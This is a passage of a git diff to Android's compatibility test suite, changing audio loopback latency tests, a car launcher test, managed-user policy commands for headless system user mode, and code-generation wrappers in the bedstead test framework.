+ mNativeAnalyzerThread.setMessageHandler(messageHandler);
+ // This value matches AAUDIO_INPUT_PRESET_VOICE_RECOGNITION
+ mNativeAnalyzerThread.setInputPreset(MediaRecorder.AudioSource.VOICE_RECOGNITION);
+ startTestPhase();
+ } else {
+ Log.e(TAG, "Couldn't allocate native analyzer thread");
+ mResultText.setText(getResources().getString(R.string.audio_loopback_failure));
+ }
+ }
+
+ private void startTestPhase() {
+ if (mNativeAnalyzerThread != null) {
+ mNativeAnalyzerThread.startTest();
+
+ // what is this for?
+ try {
+ Thread.sleep(200);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }
+ }
+
+ private void handleTestCompletion() {
+ mMeanLatencyMillis = StatUtils.calculateMean(mLatencyMillis);
+ mMeanAbsoluteDeviation =
+ StatUtils.calculateMeanAbsoluteDeviation(mMeanLatencyMillis, mLatencyMillis);
+ mMeanConfidence = StatUtils.calculateMean(mConfidence);
+
+ boolean pass = isPeripheralValidForTest()
+ && mMeanConfidence >= CONFIDENCE_THRESHOLD
+ && mMeanLatencyMillis > EPSILON
+ && mMeanLatencyMillis < mMustLatency;
+
+ getPassButton().setEnabled(pass);
+
+ String result;
+ if (mMeanConfidence < CONFIDENCE_THRESHOLD) {
+ result = String.format(
+ "Test Finished\nInsufficient Confidence (%.2f < %.2f). No Results.",
+ mMeanConfidence, CONFIDENCE_THRESHOLD);
+ } else {
+ result = String.format(
+ "Test Finished - %s\nMean Latency:%.2f ms (required:%.2f)\n" +
+ "Mean Absolute Deviation: %.2f\n" +
+ " Confidence: %.2f\n" +
+ " Low Latency Path: %s",
+ (pass ? "PASS" : "FAIL"),
+ mMeanLatencyMillis,
+ mMustLatency,
+ mMeanAbsoluteDeviation,
+ mMeanConfidence,
+ mNativeAnalyzerThread.isLowLatencyStream() ? mYesString : mNoString);
+ }
+
+ // Make sure the test thread is finished. It should already be done.
+ if (mNativeAnalyzerThread != null) {
+ try {
+ mNativeAnalyzerThread.stopTest(STOP_TEST_TIMEOUT_MSEC);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }
+ mResultText.setText(result);
+
+ recordTestResults();
+
+ showWait(false);
+ mTestButton.setEnabled(true);
+ }
+
+ private void handleTestPhaseCompletion() {
+ if (mNativeAnalyzerThread != null && mTestPhase < NUM_TEST_PHASES) {
+ mLatencyMillis[mTestPhase] = mNativeAnalyzerThread.getLatencyMillis();
+ mConfidence[mTestPhase] = mNativeAnalyzerThread.getConfidence();
+
+ String result = String.format(
+ "Test %d Finished\nLatency: %.2f ms\nConfidence: %.2f\n",
+ mTestPhase,
+ mLatencyMillis[mTestPhase],
+ mConfidence[mTestPhase]);
+
+ mResultText.setText(result);
+ try {
+ mNativeAnalyzerThread.stopTest(STOP_TEST_TIMEOUT_MSEC);
+ // Thread.sleep(/*STOP_TEST_TIMEOUT_MSEC*/500);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+
+ mTestPhase++;
+ if (mTestPhase >= NUM_TEST_PHASES) {
+ handleTestCompletion();
+ } else {
+ startTestPhase();
+ }
+ }
+ }
+
+ /**
+ * handler for messages from audio thread
+ */
+ private Handler mMessageHandler = new Handler() {
+ public void handleMessage(Message msg) {
+ super.handleMessage(msg);
+ switch(msg.what) {
+ case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED:
+ Log.v(TAG,"got message native rec started!!");
+ showWait(true);
+ mResultText.setText(String.format("[phase: %d] - Test Running...",
+ (mTestPhase + 1)));
+ break;
+ case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_OPEN_ERROR:
+ Log.v(TAG,"got message native rec can't start!!");
+ mResultText.setText("Test Error opening streams.");
+ handleTestCompletion();
+ break;
+ case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR:
+ Log.v(TAG,"got message native rec can't start!!");
+ mResultText.setText("Test Error while recording.");
+ handleTestCompletion();
+ break;
+ case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE_ERRORS:
+ mResultText.setText("Test FAILED due to errors.");
+ handleTestCompletion();
+ break;
+ case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_ANALYZING:
+ Log.i(TAG, "NATIVE_AUDIO_THREAD_MESSAGE_ANALYZING");
+ mResultText.setText(String.format("[phase: %d] - Analyzing ...",
+ mTestPhase + 1));
+ break;
+ case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE:
+ Log.i(TAG, "NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE");
+ handleTestPhaseCompletion();
+ break;
+ default:
+ break;
+ }
+ }
+ };
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.audio_loopback_latency_activity);
+
+ setPassFailButtonClickListeners();
+ getPassButton().setEnabled(false);
+ setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1);
+
+ mClaimsOutput = AudioSystemFlags.claimsOutput(this);
+ mClaimsInput = AudioSystemFlags.claimsInput(this);
+ mClaimsProAudio = AudioSystemFlags.claimsProAudio(this);
+
+ mYesString = getResources().getString(R.string.audio_general_yes);
+ mNoString = getResources().getString(R.string.audio_general_no);
+
+ // Pro Audio
+ ((TextView)findViewById(R.id.audio_loopback_pro_audio)).setText(
+ "" + (mClaimsProAudio ? mYesString : mNoString));
+
+ // MMAP
+ ((TextView)findViewById(R.id.audio_loopback_mmap)).setText(
+ "" + (mSupportsMMAP ? mYesString : mNoString));
+ ((TextView)findViewById(R.id.audio_loopback_mmap_exclusive)).setText(
+ "" + (mSupportsMMAPExclusive ? mYesString : mNoString));
+
+ // Low Latency
+ ((TextView)findViewById(R.id.audio_loopback_low_latency)).setText(
+ "" + (AudioSystemFlags.claimsLowLatencyAudio(this) ? mYesString : mNoString));
+
+ mTestPathTxt = ((TextView)findViewById(R.id.audio_loopback_testpath));
+
+ mTestButton = (Button)findViewById(R.id.audio_loopback_test_btn);
+ mTestButton.setOnClickListener(mBtnClickListener);
+
+ mAudioManager = getSystemService(AudioManager.class);
+
+ mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
+
+ connectLoopbackUI();
+
+ calculateLatencyThresholds();
+ displayLatencyThresholds();
+ }
+
+ private class OnBtnClickListener implements OnClickListener {
+ @Override
+ public void onClick(View v) {
+ switch (v.getId()) {
+ case R.id.audio_loopback_test_btn:
+ Log.i(TAG, "audio loopback test");
+ startAudioTest(mMessageHandler);
+ break;
+ }
+ }
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
index f9a182b..5ca2256 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
@@ -69,6 +69,7 @@
private static final String INFO_DIALOG_MESSAGE_ID = "infoDialogMessageId";
// ReportLog Schema
+ private static final String SECTION_PRO_AUDIO_ACTIVITY = "pro_audio_activity";
private static final String KEY_CLAIMS_PRO = "claims_pro_audio";
private static final String KEY_CLAIMS_LOW_LATENCY = "claims_low_latency_audio";
private static final String KEY_CLAIMS_MIDI = "claims_midi";
@@ -245,6 +246,14 @@
// PassFailButtons Overrides
//
@Override
+ public String getReportFileName() { return PassFailButtons.AUDIO_TESTS_REPORT_LOG_NAME; }
+
+ @Override
+ public final String getReportSectionName() {
+ return setTestNameSuffix(sCurrentDisplayMode, SECTION_PRO_AUDIO_ACTIVITY);
+ }
+
+ @Override
public void recordTestResults() {
CtsVerifierReportLog reportLog = getReportLog();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java
new file mode 100644
index 0000000..9fa9d7e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Test Car Launcher Behavior with respect to Car Service actions.
+ */
+public class CarLauncherTestActivity extends PassFailButtons.Activity {
+
+ @Override
+ protected void onCreate(Bundle savedState) {
+ super.onCreate(savedState);
+ setContentView(getLayoutInflater().inflate(R.layout.car_launcher_test_main, null));
+ setPassFailButtonClickListeners();
+
+ // Sets the text in the dialog
+ setInfoResources(R.string.car_launcher_test,
+ R.string.car_launcher_test_desc, -1);
+
+ // Open the car launcher
+ findViewById(R.id.car_launcher_test_button).setOnClickListener(v -> {
+ this.startActivity(new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME));
+ });
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
index e7bced9..f6b179c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
@@ -80,6 +80,13 @@
}
/**
+ * Checks whether the device requires new user disclaimer acknowledgement for managed user.
+ */
+ public static boolean isNewManagerUserDisclaimerRequired(Context context) {
+ return isAutomotive(context);
+ }
+
+ /**
* Checks whether the device supports file transfer.
*/
public static boolean isUsbFileTransferSupported(Context context) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 218897f..257d6df 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -126,6 +126,7 @@
public static final String COMMAND_ENABLE_USB_DATA_SIGNALING = "enable-usb-data-signaling";
public static final String COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY =
"set-required-password-complexity";
+ public static final String COMMAND_CHECK_NEW_USER_DISCLAIMER = "check-new-user-disclaimer";
public static final String EXTRA_USER_RESTRICTION =
"com.android.cts.verifier.managedprovisioning.extra.USER_RESTRICTION";
@@ -435,14 +436,14 @@
PackageManager.DONT_KILL_APP);
} break;
case COMMAND_SET_ALWAYS_ON_VPN: {
- if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+ if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
return;
}
mDpm.setAlwaysOnVpnPackage(mAdmin, getPackageName(),
false /* lockdownEnabled */);
} break;
case COMMAND_CLEAR_ALWAYS_ON_VPN: {
- if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+ if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
return;
}
mDpm.setAlwaysOnVpnPackage(mAdmin, null /* vpnPackage */,
@@ -462,13 +463,13 @@
mDpm.setRecommendedGlobalProxy(mAdmin, null);
} break;
case COMMAND_INSTALL_CA_CERT: {
- if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+ if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
return;
}
mDpm.installCaCert(mAdmin, TEST_CA.getBytes());
} break;
case COMMAND_CLEAR_CA_CERT: {
- if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+ if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
return;
}
mDpm.uninstallCaCert(mAdmin, TEST_CA.getBytes());
@@ -560,6 +561,7 @@
case COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY: {
int complexity = intent.getIntExtra(EXTRA_VALUE,
DevicePolicyManager.PASSWORD_COMPLEXITY_NONE);
+ Log.d(TAG, "calling setRequiredPasswordComplexity(" + complexity + ")");
mDpm.setRequiredPasswordComplexity(complexity);
}
}
@@ -583,6 +585,15 @@
return isIt;
}
+ /**
+ * Checks if the {@code packageName} is a device owner app, or a profile owner app in the
+ * headless system user mode.
+ */
+ private boolean isDeviceOwnerAppOrEquivalent(String packageName) {
+ return mDpm.isDeviceOwnerApp(packageName)
+ || (UserManager.isHeadlessSystemUserMode() && mDpm.isProfileOwnerApp(packageName));
+ }
+
private void installHelperPackage() throws Exception {
if (UserManager.isHeadlessSystemUserMode()) {
// App was already installed on user 0 (as instructed), so we just install it for the
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 44fb73e..449900c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -710,6 +710,7 @@
private Intent createSetRequiredPasswordComplexityIntent(int complexity) {
return new Intent(this, CommandReceiverActivity.class)
+ .putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true)
.putExtra(CommandReceiverActivity.EXTRA_COMMAND,
CommandReceiverActivity.COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY)
.putExtra(CommandReceiverActivity.EXTRA_VALUE, complexity);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
index c18150e..7aa1eaa 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -205,10 +205,10 @@
new ButtonInfo(R.string.enterprise_privacy_open_settings,
new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
new ButtonInfo(R.string.enterprise_privacy_set_always_on_vpn,
- buildCommandIntent(
+ buildCommandIntentForCurrentUser(
CommandReceiverActivity.COMMAND_SET_ALWAYS_ON_VPN)),
new ButtonInfo(R.string.enterprise_privacy_finish,
- buildCommandIntent(
+ buildCommandIntentForCurrentUser(
CommandReceiverActivity.COMMAND_CLEAR_ALWAYS_ON_VPN))}));
adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_GLOBAL_HTTP_PROXY,
@@ -230,10 +230,10 @@
new ButtonInfo(R.string.enterprise_privacy_open_settings,
new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
new ButtonInfo(R.string.enterprise_privacy_install_cert,
- buildCommandIntent(
+ buildCommandIntentForCurrentUser(
CommandReceiverActivity.COMMAND_INSTALL_CA_CERT)),
new ButtonInfo(R.string.enterprise_privacy_finish,
- buildCommandIntent(
+ buildCommandIntentForCurrentUser(
CommandReceiverActivity.COMMAND_CLEAR_CA_CERT))}));
if (Utils.isLockscreenSupported(this)) {
adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_FAILED_PASSWORD_WIPE,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
index 14ab277..6ddcf71 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
@@ -55,6 +55,7 @@
private static final String DISABLE_KEYGUARD_TEST_ID = "DISABLE_KEYGUARD";
private static final String POLICY_TRANSPARENCY_TEST_ID = "POLICY_TRANSPARENCY";
private static final String DISALLOW_REMOVE_USER_TEST_ID = "DISALLOW_REMOVE_USER";
+ private static final String CHECK_NEW_USER_DISCLAIMER_TEST_ID = "CHECK_NEW_UESR_DISCLAIMER";
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -111,6 +112,19 @@
}
private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
+ // Check managed user's new user disclaimer
+ if (FeatureUtil.isNewManagerUserDisclaimerRequired(this)) {
+ adapter.add(createInteractiveTestItem(this, CHECK_NEW_USER_DISCLAIMER_TEST_ID,
+ R.string.check_new_user_disclaimer,
+ R.string.check_new_user_disclaimer_info,
+ new ButtonInfo[]{
+ new ButtonInfo(
+ R.string.device_owner_settings_go,
+ new Intent(Settings.ACTION_USER_SETTINGS)),
+ new ButtonInfo(R.string.enterprise_privacy_set_organization,
+ createSetOrganizationNameIntent())}));
+ }
+
adapter.add(createTestItem(this, CHECK_AFFILIATED_PROFILE_OWNER_TEST_ID,
R.string.managed_user_check_managed_user_test,
new Intent(ACTION_CHECK_AFFILIATED_PROFILE_OWNER)
@@ -185,10 +199,8 @@
adapter.add(createTestItem(this, POLICY_TRANSPARENCY_TEST_ID,
R.string.device_profile_owner_policy_transparency_test,
policyTransparencyTestIntent));
-
}
-
static TestListItem createTestItem(Activity activity, String id, int titleRes,
Intent intent) {
intent.putExtra(EXTRA_TEST_ID, id);
@@ -200,4 +212,9 @@
// general test for that. TODO: add a test API to do a real check for status bar support.
return !getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
}
+
+ private Intent createSetOrganizationNameIntent() {
+ return new Intent(CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
+ .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME, "Foo, Inc.");
+ }
}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
index 0f33307..218610e 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
@@ -120,7 +120,7 @@
}
private static void assertHasRequiredReceiver(Context context) {
- if (!UserManager.isHeadlessSystemUserMode()) return;
+ if (!Utils.isHeadlessSystemUserMode()) return;
String packageName = context.getPackageName();
Boolean hasIt = sHasRequiredReceiver.get(packageName);
@@ -226,7 +226,7 @@
assertHasRequiredReceiver(context);
int userId = context.getUserId();
- if (userId == UserHandle.USER_SYSTEM || !UserManager.isHeadlessSystemUserMode()) {
+ if (userId == UserHandle.USER_SYSTEM || !Utils.isHeadlessSystemUserMode()) {
Log.i(TAG, "get(): returning 'pure' DevicePolicyManager for user " + userId);
return manager;
}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
index 03b8963..57289de 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
@@ -19,6 +19,7 @@
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
+import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
@@ -61,12 +62,17 @@
@GuardedBy("LOCK")
private static Handler sHandler;
+ static boolean isHeadlessSystemUserMode() {
+ return Build.VERSION.SDK_INT >= Build.VERSION_CODES.S
+ && UserManager.isHeadlessSystemUserMode();
+ }
+
static boolean isHeadlessSystemUser() {
- return UserManager.isHeadlessSystemUserMode() && MY_USER_ID == UserHandle.USER_SYSTEM;
+ return isHeadlessSystemUserMode() && MY_USER_ID == UserHandle.USER_SYSTEM;
}
static boolean isCurrentUserOnHeadlessSystemUser(Context context) {
- return UserManager.isHeadlessSystemUserMode()
+ return isHeadlessSystemUserMode()
&& context.getSystemService(UserManager.class).isUserForeground();
}
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
index d93ff7e..465ceb6 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
@@ -276,12 +276,10 @@
// AccountManager
// Uses Activity
- "public android.accounts.AccountManagerFuture<android.os.Bundle> addAccount(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> finishSession(android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> editProperties(String, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthTokenByFeatures(String, String, String[], android.app.Activity, android.os.Bundle, android.os.Bundle, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
- "public android.accounts.AccountManagerFuture<android.os.Bundle> removeAccount(android.accounts.Account, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> startAddAccountSession(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> startUpdateCredentialsSession(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> updateCredentials(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
@@ -295,7 +293,6 @@
// Uses AccountManagerCallback
"public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
- "public android.accounts.AccountManagerFuture<android.os.Bundle> addAccount(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.os.Bundle hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
@@ -304,7 +301,6 @@
"public android.accounts.AccountManagerFuture<java.lang.Boolean> hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
"public android.os.Bundle isCredentialsUpdateSuggested(android.accounts.AccountAuthenticatorResponse, android.accounts.Account, String) throws android.accounts.NetworkErrorException",
"public android.accounts.AccountManagerFuture<java.lang.Boolean> isCredentialsUpdateSuggested(android.accounts.Account, String, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
- "public android.accounts.AccountManagerFuture<java.lang.Boolean> removeAccount(android.accounts.Account, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.accounts.Account> renameAccount(android.accounts.Account, @Size(min=1) String, android.accounts.AccountManagerCallback<android.accounts.Account>, android.os.Handler)",
// Uses android.accounts.AccountManager
@@ -641,6 +637,18 @@
private static final ClassName NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME =
ClassName.get("com.android.bedstead.remoteframeworkclasses",
"NullParcelableRemoteContentResolver");
+
+ // TODO(b/205562849): These only support passing null, which is fine for existing tests but will be misleading
+ private static final ClassName NULL_PARCELABLE_ACTIVITY_CLASSNAME =
+ ClassName.get("com.android.bedstead.remoteframeworkclasses",
+ "NullParcelableActivity");
+ private static final ClassName NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME =
+ ClassName.get("com.android.bedstead.remoteframeworkclasses",
+ "NullParcelableAccountManagerCallback");
+ private static final ClassName NULL_HANDLER_CALLBACK_CLASSNAME =
+ ClassName.get("com.android.bedstead.remoteframeworkclasses",
+ "NullParcelableHandler");
+
private static final ClassName COMPONENT_NAME_CLASSNAME =
ClassName.get("android.content", "ComponentName");
@@ -678,6 +686,9 @@
private void generateWrappers() {
generateWrapper(NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME);
generateWrapper(NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME);
+ generateWrapper(NULL_PARCELABLE_ACTIVITY_CLASSNAME);
+ generateWrapper(NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME);
+ generateWrapper(NULL_HANDLER_CALLBACK_CLASSNAME);
}
private void generateWrapper(ClassName className) {
@@ -761,9 +772,8 @@
classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
- .addMember("parcelableWrappers", "{$T.class, $T.class}",
- NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME,
- NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME)
+ .addMember("parcelableWrappers", "{$T.class, $T.class, $T.class, $T.class, $T.class}",
+ NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME, NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME, NULL_PARCELABLE_ACTIVITY_CLASSNAME, NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME, NULL_HANDLER_CALLBACK_CLASSNAME)
.addMember("futureWrappers", "$T.class",
ACCOUNT_MANAGE_FUTURE_WRAPPER_CLASSNAME)
.build());
@@ -815,9 +825,8 @@
TypeSpec.classBuilder(className).addModifiers(Modifier.FINAL, Modifier.PUBLIC);
classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
- .addMember("parcelableWrappers", "{$T.class, $T.class}",
- NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME,
- NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME)
+ .addMember("parcelableWrappers", "{$T.class, $T.class, $T.class, $T.class, $T.class}",
+ NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME, NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME, NULL_PARCELABLE_ACTIVITY_CLASSNAME, NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME, NULL_HANDLER_CALLBACK_CLASSNAME)
.build());
classBuilder.addField(ClassName.get(frameworkClass),
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt
new file mode 100644
index 0000000..4984775
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.accounts.AccountManagerCallback;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link AccountManagerCallback} for clients
+ * which do not need to actually use the {@link AccountManagerCallback} param or return value.
+ */
+@CustomParcelableWrapper(originalType = AccountManagerCallback.class)
+public final class NullParcelableAccountManagerCallback<F> implements Parcelable {
+
+ /**
